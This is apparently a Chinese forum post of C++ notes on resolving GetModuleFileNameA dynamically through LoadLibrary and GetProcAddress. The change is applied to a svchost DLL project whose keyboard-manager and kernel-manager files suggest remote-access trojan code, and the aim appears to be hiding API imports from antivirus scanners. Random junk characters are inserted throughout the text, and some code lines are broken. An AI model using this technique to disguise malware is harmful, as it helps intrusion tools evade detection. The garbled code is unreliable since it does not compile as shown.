[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记% U2 F- t8 k  z) l
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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0 D; d  w/ R% u" Q( P2 }5 B#if _MSC_VER>1000
9 H: q* W! P& Y2 q, Z, E& U$ `#pragma once
  B7 u2 x+ [1 [#endif //_MSC_VER>1000. t% J, r% c- U% C3 u/ |
#include<windows.h>8 ^0 L" a3 m$ _5 h& v

2 q9 V' C7 i$ j  P" Z0 G) s7 `# stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# O; G+ V. X5 M0 J
class DTDY  t- T! h  v/ q' }  e
{
* m4 }: q8 c* R9 \( _. Z' l* z# r- T/ gpublic:
& c* i) W0 g' `: d! S0 w  UDTDY();
# P% F$ o+ K' q) t* M1 Zvirtual ~DTDY();
6 N. i+ ~5 ?1 f' Ppublic:$ O: j. r1 ]: e8 C7 V. {! S
static pGetModuleFileNameA MyGetModuleFileName;6 z* \3 y0 u# B" Z
static BOOL FunInitiallization();
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3 W; l5 w* [- z4 D, U  p& C9 v& D#endif
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6 y, |( s0 z8 cDTDY.cpp:
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2 b" D- A$ ]/ s- u$ R7 L" s/ g#include "DTDY.h"
# p7 f( k* J. i$ ipGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
( C; {1 t$ g( Q7 C+ CDTDY:TDY()
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DTDY::~DTDY(); r* W# v; K9 r7 E3 a. C
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BOOL DTDY::FunInitiallization()
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; }: A2 K5 H# g3 NHMODULE hModule=LoadLibrary("kernel32.dll");! b! R- j9 v2 E+ m
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ ^& {' j% i, h. sif(!MyGetModuleFileName=) return FALSE;8 s, e; S. B" m* f' H
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return TRUE;
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svchost.cpp:; V% M+ M/ Z2 t5 g5 Y
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#include "DTDY.h"& y! S; P# _+ }

0 h- K& W# O- CBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:3 j3 _4 o4 L3 B' A" S) P* Y! ]
if(!DTDY::FunInitiallization()) return FALSE;5 s$ q8 x3 x5 Z' T  N
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break;& ]6 f; G5 D2 w( }* Y
}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def) h8 M( x6 J' d  O! H1 [
改写为+ h4 H9 h+ G& K* F
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:* n5 U; m! G  q! ]9 \

9 T' h; X2 U: p' f0 A/ n#include "../DTDY.h"
. p/ S- O* K4 b8 g# T; Q1 _GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% b0 P* M9 b; h: X" i/ o$ P! Y1 ^
改写为
# ?  T4 y' w" f# Q& {% R) Y( WDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# w/ B! j7 H2 q& \
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